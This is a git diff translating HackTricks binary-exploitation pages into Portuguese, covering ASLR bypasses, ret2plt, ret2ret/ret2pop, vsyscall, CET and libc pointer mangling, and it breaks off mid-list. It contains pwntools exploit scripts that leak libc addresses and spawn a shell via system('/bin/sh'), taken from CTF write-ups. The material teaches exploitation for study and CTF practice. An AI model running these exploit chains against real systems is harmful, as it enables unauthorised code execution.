**variáveis de ambiente**. -Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**. +Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e este binário não espera o overflow de argumentos brutos, mas de uma **entrada diferente que pode ser criada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para a exploração**. > [!TIP] -> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat` +> Para mais informações sobre este arquivo, consulte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat` -### Having a leak +### Tendo um leak -- **The challenge is giving a leak** - -If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details): +- **O desafio é fornecer um leak** +Se você receber um leak (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você conheça a versão exata da libc que está sendo usada no sistema que você está explorando). Este exemplo de exploração é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ver essa página para mais detalhes): ```python from pwn import * @@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - 0x0, # return address - next(libc.search(b'/bin/sh')) +'A' * 32, +libc.sym['system'], +0x0, # return address +next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` - - **ret2plt** -Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check: +Abusando de um buffer overflow, seria possível explorar um **ret2plt** para exfiltrar um endereço de uma função da libc. Verifique: {{#ref}} ret2plt.md @@ -216,8 +198,7 @@ ret2plt.md - **Format Strings Arbitrary Read** -Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): - +Assim como no ret2plt, se você tiver uma leitura arbitrária através de uma vulnerabilidade de format strings, é possível exfiltrar o endereço de uma **função da libc** do GOT. O seguinte [**exemplo é daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` - -You can find more info about Format Strings arbitrary read in: +Você pode encontrar mais informações sobre leitura arbitrária de Format Strings em: {{#ref}} ../../format-strings/ @@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in: ### Ret2ret & Ret2pop -Try to bypass ASLR abusing addresses inside the stack: +Tente contornar o ASLR abusando de endereços dentro da pilha: {{#ref}} ret2ret.md @@ -245,13 +225,12 @@ ret2ret.md ### vsyscall -The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\ -However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent) +O mecanismo **`vsyscall`** serve para melhorar o desempenho permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora sejam fundamentalmente parte do kernel. A vantagem crítica dos **vsyscalls** reside em seus **endereços fixos**, que não estão sujeitos ao **ASLR** (Randomização de Layout de Espaço de Endereçamento). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em um exploit.\ +No entanto, nenhum gadget super interessante será encontrado aqui (embora, por exemplo, seja possível obter um equivalente a `ret;`) -(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) - -For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit. +(O seguinte exemplo e código é [**deste writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) +Por exemplo, um atacante pode usar o endereço `0xffffffffff600800` dentro de um exploit. Enquanto tentar pular diretamente para uma instrução `ret` pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de um `syscall` fornecido pela seção **vsyscall** pode se mostrar bem-sucedido. Ao colocar cuidadosamente um gadget **ROP** que leva a execução para este endereço **vsyscall**, um atacante pode conseguir execução de código sem precisar contornar o **ASLR** para esta parte do exploit. ``` ef➤ vmmap Start End Offset Perm Path @@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 ``` - ### vDSO -Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check: +Note que pode ser possível **contornar o ASLR abusando do vdso** se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado. Para mais informações, consulte: {{#ref}} ../../rop-return-oriented-programing/ret2vdso.md diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md index c0e55129b..08a951ac9 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -2,40 +2,37 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**. - -This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): +O objetivo desta técnica seria **vazar um endereço de uma função do PLT** para conseguir contornar o ASLR. Isso ocorre porque, se, por exemplo, você vazar o endereço da função `puts` da libc, você pode então **calcular onde está a base da `libc`** e calcular offsets para acessar outras funções como **`system`**. +Isso pode ser feito com um payload `pwntools` como ([**a partir daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): ```python # 32-bit ret2plt payload = flat( - b'A' * padding, - elf.plt['puts'], - elf.symbols['main'], - elf.got['puts'] +b'A' * padding, +elf.plt['puts'], +elf.symbols['main'], +elf.got['puts'] ) # 64-bit payload = flat( - b'A' * padding, - POP_RDI, - elf.got['puts'] - elf.plt['puts'], - elf.symbols['main'] +b'A' * padding, +POP_RDI, +elf.got['puts'] +elf.plt['puts'], +elf.symbols['main'] ) ``` +Note como **`puts`** (usando o endereço do PLT) é chamado com o endereço de `puts` localizado na GOT (Tabela de Deslocamento Global). Isso ocorre porque, quando `puts` imprime a entrada da GOT de puts, esta **entrada conterá o endereço exato de `puts` na memória**. -Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**. - -Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid). +Também note como o endereço de `main` é usado no exploit, então quando `puts` termina sua execução, o **binário chama `main` novamente em vez de sair** (assim o endereço vazado continuará a ser válido). > [!CAUTION] -> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first. - -You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**: +> Note como, para que isso funcione, o **binário não pode ser compilado com PIE** ou você deve ter **encontrado um vazamento para contornar o PIE** a fim de saber o endereço do PLT, GOT e main. Caso contrário, você precisa contornar o PIE primeiro. +Você pode encontrar um [**exemplo completo desse contorno aqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este foi o exploit final daquele **exemplo**: ```python from pwn import * @@ -46,10 +43,10 @@ p = process() p.recvline() payload = flat( - 'A' * 32, - elf.plt['puts'], - elf.sym['main'], - elf.got['puts'] +'A' * 32, +elf.plt['puts'], +elf.sym['main'], +elf.got['puts'] ) p.sendline(payload) @@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - libc.sym['exit'], - next(libc.search(b'/bin/sh\x00')) +'A' * 32, +libc.sym['system'], +libc.sym['exit'], +next(libc.search(b'/bin/sh\x00')) ) p.sendline(payload) p.interactive() ``` - -## Other examples & References +## Outros exemplos e Referências - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bits, ASLR habilitado, mas sem PIE, o primeiro passo é preencher um overflow até o byte 0x00 do canário para então chamar puts e vazar. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts da GOT e um gadget ROP para chamar `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 bits, ASLR habilitado, sem canário, overflow de pilha na função principal a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts da GOT e então chamar um gadget único. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md index 19f39dac3..77b126c2f 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md @@ -4,27 +4,27 @@ ## Ret2ret -The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**. +O principal **objetivo** desta técnica é tentar **burlar o ASLR abusando de um ponteiro existente na pilha**. -Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte). +Basicamente, estouros de pilha são geralmente causados por strings, e **strings terminam com um byte nulo no final** na memória. Isso permite tentar reduzir o lugar apontado por um ponteiro existente já na pilha. Então, se a pilha contivesse `0xbfffffdd`, esse estouro poderia transformá-lo em `0xbfffff00` (note o último byte zerado). -If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached. +Se esse endereço apontar para nosso shellcode na pilha, é possível fazer o fluxo chegar a esse endereço **adicionando endereços à instrução `ret`** até que esta seja alcançada. -Therefore the attack would be like this: +Portanto, o ataque seria assim: - NOP sled - Shellcode -- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled) -- 0x00 added by the string modifying an address from the stack making it point to the NOP sled +- Sobrescrever a pilha a partir do EIP com **endereços para `ret`** (RET sled) +- 0x00 adicionado pela string modificando um endereço da pilha fazendo-o apontar para o NOP sled -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit. +Seguindo [**este link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) você pode ver um exemplo de um binário vulnerável e [**neste aqui**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) o exploit. ## Ret2pop -In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop ; ret`**.\ -This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change. +Caso você consiga encontrar um **ponteiro perfeito na pilha que você não quer modificar** (no `ret2ret` mudamos o byte final mais baixo para `0x00`), você pode realizar o mesmo ataque `ret2ret`, mas o **comprimento do RET sled deve ser encurtado em 1** (para que o final `0x00` sobrescreva os dados logo antes do ponteiro perfeito), e o **último** endereço do RET sled deve apontar para **`pop ; ret`**.\ +Dessa forma, os **dados antes do ponteiro perfeito serão removidos** da pilha (esses são os dados afetados pelo `0x00`) e o **último `ret` apontará para o endereço perfeito** na pilha sem nenhuma alteração. -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit. +Seguindo [**este link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) você pode ver um exemplo de um binário vulnerável e [**neste aqui** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) o exploit. ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md index 22e1edbc2..1c6537893 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -4,22 +4,22 @@ ## Control Flow Enforcement Technology (CET) -**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action. +**CET** é um recurso de segurança implementado no nível de hardware, projetado para frustrar ataques comuns de sequestro de fluxo de controle, como **Return-Oriented Programming (ROP)** e **Jump-Oriented Programming (JOP)**. Esses tipos de ataques manipulam o fluxo de execução de um programa para executar código malicioso ou para encadear pedaços de código benigno de uma maneira que realiza uma ação maliciosa. -CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**. +CET introduz duas características principais: **Indirect Branch Tracking (IBT)** e **Shadow Stack**. -- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations. -- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow. +- **IBT** garante que saltos e chamadas indiretas sejam feitos para alvos válidos, que são marcados explicitamente como destinos legais para ramificações indiretas. Isso é alcançado através do uso de um novo conjunto de instruções que marca alvos válidos, impedindo assim que atacantes desviem o fluxo de controle para locais arbitrários. +- **Shadow Stack** é um mecanismo que fornece integridade para endereços de retorno. Ele mantém uma cópia segura e oculta dos endereços de retorno separada da pilha de chamadas regular. Quando uma função retorna, o endereço de retorno é validado em relação ao shadow stack, impedindo que atacantes sobrescrevam endereços de retorno na pilha para sequestrar o fluxo de controle. ## Shadow Stack -The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks. +O **shadow stack** é uma **pilha dedicada usada exclusivamente para armazenar endereços de retorno**. Ele funciona ao lado da pilha regular, mas é protegido e oculto da execução normal do programa, tornando difícil para os atacantes interferirem. O objetivo principal do shadow stack é garantir que quaisquer modificações aos endereços de retorno na pilha convencional sejam detectadas antes que possam ser usadas, mitigando efetivamente os ataques ROP. -## How CET and Shadow Stack Prevent Attacks +## Como CET e Shadow Stack Previnem Ataques -**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code. +**Ataques ROP e JOP** dependem da capacidade de sequestrar o fluxo de controle de uma aplicação aproveitando vulnerabilidades que permitem sobrescrever ponteiros ou endereços de retorno na pilha. Ao direcionar o fluxo para sequências de gadgets de código existentes ou gadgets de programação orientada a retorno, os atacantes podem executar código arbitrário. -- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary. -- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding. +- O recurso **IBT** do CET torna esses ataques significativamente mais difíceis, garantindo que ramificações indiretas só possam saltar para endereços que foram explicitamente marcados como alvos válidos. Isso torna impossível para os atacantes executarem gadgets arbitrários espalhados pelo binário. +- O **shadow stack**, por outro lado, garante que mesmo que um atacante consiga sobrescrever um endereço de retorno na pilha normal, a **discrepância será detectada** ao comparar o endereço corrompido com a cópia segura armazenada no shadow stack ao retornar de uma função. Se os endereços não coincidirem, o programa pode ser encerrado ou tomar outras medidas de segurança, impedindo que o ataque tenha sucesso. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md index cacfd7f2f..b80b08c30 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md @@ -1,82 +1,82 @@ -# Libc Protections +# Proteções Libc {{#include ../../banners/hacktricks-training.md}} -## Chunk Alignment Enforcement +## Aplicação de Alinhamento de Chunk -**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin. +**Malloc** aloca memória em **agrupamentos de 8 bytes (32 bits) ou 16 bytes (64 bits)**. Isso significa que o final dos chunks em sistemas de 32 bits deve alinhar com **0x8**, e em sistemas de 64 bits com **0x0**. O recurso de segurança verifica se cada chunk **alinha corretamente** nesses locais específicos antes de usar um ponteiro de um bin. -### Security Benefits +### Benefícios de Segurança -The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully. +A aplicação de alinhamento de chunk em sistemas de 64 bits melhora significativamente a segurança do Malloc ao **limitar a colocação de chunks falsos a apenas 1 em cada 16 endereços**. Isso complica os esforços de exploração, especialmente em cenários onde o usuário tem controle limitado sobre os valores de entrada, tornando os ataques mais complexos e difíceis de executar com sucesso. -- **Fastbin Attack on \_\_malloc_hook** +- **Ataque Fastbin em \_\_malloc_hook** -The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security. +As novas regras de alinhamento no Malloc também frustram um ataque clássico envolvendo o `__malloc_hook`. Anteriormente, os atacantes podiam manipular tamanhos de chunks para **sobrescrever este ponteiro de função** e obter **execução de código**. Agora, a exigência de alinhamento rigoroso garante que tais manipulações não sejam mais viáveis, fechando uma rota comum de exploração e aumentando a segurança geral. -## Pointer Mangling on fastbins and tcache +## Mistura de Ponteiros em fastbins e tcache -**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**). +**Mistura de Ponteiros** é uma melhoria de segurança usada para proteger **ponteiros Fd de fastbin e tcache** em operações de gerenciamento de memória. Esta técnica ajuda a prevenir certos tipos de táticas de exploração de memória, especificamente aquelas que não requerem informações de memória vazadas ou que manipulam locais de memória diretamente em relação a posições conhecidas (sobrescritas **relativas**). -The core of this technique is an obfuscation formula: +O núcleo desta técnica é uma fórmula de ofuscação: **`New_Ptr = (L >> 12) XOR P`** -- **L** is the **Storage Location** of the pointer. -- **P** is the actual **fastbin/tcache Fd Pointer**. +- **L** é a **Localização de Armazenamento** do ponteiro. +- **P** é o **Ponteiro Fd de fastbin/tcache**. -The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits. +A razão para o deslocamento bit a bit da localização de armazenamento (L) por 12 bits para a direita antes da operação XOR é crítica. Essa manipulação aborda uma vulnerabilidade inerente à natureza determinística dos 12 bits menos significativos dos endereços de memória, que são tipicamente previsíveis devido a restrições da arquitetura do sistema. Ao deslocar os bits, a parte previsível é removida da equação, aumentando a aleatoriedade do novo ponteiro misturado e, assim, protegendo contra explorações que dependem da previsibilidade desses bits. -This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process. +Este ponteiro misturado aproveita a aleatoriedade existente fornecida pela **Randomização de Layout de Espaço de Endereços (ASLR)**, que randomiza endereços usados por programas para dificultar a previsão do layout de memória de um processo pelos atacantes. -**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers. +**Desmisturar** o ponteiro para recuperar o endereço original envolve usar a mesma operação XOR. Aqui, o ponteiro misturado é tratado como P na fórmula, e quando XORado com a localização de armazenamento inalterada (L), resulta na revelação do ponteiro original. Essa simetria na mistura e desmistura garante que o sistema possa codificar e decodificar ponteiros de forma eficiente, sem sobrecarga significativa, enquanto aumenta substancialmente a segurança contra ataques que manipulam ponteiros de memória. -### Security Benefits +### Benefícios de Segurança -Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways: +A mistura de ponteiros visa **prevenir sobrescritas parciais e totais de ponteiros na heap**, uma melhoria significativa em segurança. Este recurso impacta técnicas de exploração de várias maneiras: -1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success. -2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier. -3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses. -4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints. +1. **Prevenção de Sobrescritas Relativas Byte a Byte**: Anteriormente, os atacantes podiam alterar parte de um ponteiro para **redirecionar chunks da heap para diferentes locais sem conhecer endereços exatos**, uma técnica evidente na exploração **House of Roman** sem vazamento. Com a mistura de ponteiros, tais sobrescritas relativas **sem um vazamento da heap agora requerem força bruta**, reduzindo drasticamente a probabilidade de sucesso. +2. **Aumento da Dificuldade de Ataques em Tcache Bin/Fastbin**: Ataques comuns que sobrescrevem ponteiros de função (como `__malloc_hook`) manipulando entradas de fastbin ou tcache são dificultados. Por exemplo, um ataque pode envolver vazar um endereço da LibC, liberar um chunk no bin tcache e, em seguida, sobrescrever o ponteiro Fd para redirecioná-lo para `__malloc_hook` para execução de código arbitrário. Com a mistura de ponteiros, esses ponteiros devem ser corretamente misturados, **necessitando de um vazamento da heap para manipulação precisa**, elevando assim a barreira de exploração. +3. **Exigência de Vazamentos da Heap em Locais Não Heap**: Criar um chunk falso em áreas não heap (como a pilha, seção .bss ou PLT/GOT) agora também **requer um vazamento da heap** devido à necessidade de mistura de ponteiros. Isso estende a complexidade de explorar essas áreas, semelhante à exigência de manipular endereços da LibC. +4. **Vazar Endereços da Heap Torna-se Mais Desafiador**: A mistura de ponteiros restringe a utilidade dos ponteiros Fd em fastbin e tcache como fontes para vazamentos de endereços da heap. No entanto, ponteiros em bins não ordenados, pequenos e grandes permanecem não misturados, portanto ainda utilizáveis para vazamentos de endereços. Essa mudança empurra os atacantes a explorar esses bins em busca de informações exploráveis, embora algumas técnicas ainda possam permitir a desmistura de ponteiros antes de um vazamento, embora com restrições. -### **Demangling Pointers with a Heap Leak** +### **Desmisturando Ponteiros com um Vazamento da Heap** > [!CAUTION] -> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088). +> Para uma melhor explicação do processo [**verifique o post original aqui**](https://maxwelldulin.com/BlogPost?post=5445977088). -### Algorithm Overview +### Visão Geral do Algoritmo -The formula used for mangling and demangling pointers is: +A fórmula usada para misturar e desmisturar ponteiros é: **`New_Ptr = (L >> 12) XOR P`** -Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves. +Onde **L** é a localização de armazenamento e **P** é o ponteiro Fd. Quando **L** é deslocado para a direita por 12 bits, expõe os bits mais significativos de **P**, devido à natureza do **XOR**, que produz 0 quando os bits são XORados consigo mesmos. -**Key Steps in the Algorithm:** +**Passos Chave no Algoritmo:** -1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged. -2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer. -3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered. -4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process. +1. **Vazamento Inicial dos Bits Mais Significativos**: Ao XORar o **L** deslocado com **P**, você efetivamente obtém os 12 bits superiores de **P** porque a parte deslocada de **L** será zero, deixando os bits correspondentes de **P** inalterados. +2. **Recuperação dos Bits do Ponteiro**: Como o XOR é reversível, conhecer o resultado e um dos operandos permite que você calcule o outro operando. Essa propriedade é usada para deduzir todo o conjunto de bits para **P** ao XORar sucessivamente conjuntos conhecidos de bits com partes do ponteiro misturado. +3. 